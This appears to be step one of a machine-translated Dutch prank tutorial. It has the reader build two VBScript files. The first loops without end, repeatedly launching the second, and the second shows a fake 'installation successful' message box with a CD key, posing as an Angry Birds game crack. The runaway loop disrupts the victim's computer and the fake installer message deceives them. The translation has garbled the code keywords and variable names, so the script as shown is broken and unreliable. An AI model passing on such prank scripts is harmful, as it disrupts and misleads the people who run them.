Stap 1: Het leren deel!
Open two(2) Kladblok, 1e en 2e een als "RunThis2nd.txt" als "RunThisFirst.txt"
Nu in eerste één schrijven precies-wat hier geschreven >
----------------------------------------------------------------------------------------DO NOT ADD THIS LINE-------------------
Dim graaf
set object = wscript. CreateObject("wscript.shell")
doen
object.run "RunThis2nd.vbs"
count = count + 1
lus tot graaf = 1
----------------------------------------------------------------------------------------DO NOT ADD THIS LINE-------------------
En sla het op als "RunThisFirst.vbs" waar, opslaan als typt u koos op "Alle bestanden"
en zet het opgeslagen bestand genaamd "RunThisFirst" in een map, niet in een open plek als desktop :)
Schrijf dan precies wat wriiten in "RunThis2nd"
----------------------------------------------------------------------------------------DO NOT ADD THIS LINE-------------------
naam = msgbox ("..." Installatie geslaagd, sleutel: XOXO-OXOX-XXOO-OOXX ""... Open CD-KEY. TXT vanaf bureaublad voor gedetailleerde informatie", 0 + 15,"Angry Birds - Star Wars Edition - door SunShine® van H33T.COM")
----------------------------------------------------------------------------------------DO NOT ADD THIS LINE-------------------
U kunt eenvoudig kopiëren-plakken, hebt u geen moeite om te zien of te doen :)
En sla het op als "RunThis2nd.vbs" waar, opslaan als typt u koos op "Alle bestanden"
en zet het opgeslagen bestand genaamd "RunThisFirst" in dezelfde map, niet in een open plek als desktop :)
Volgende stap te gaan!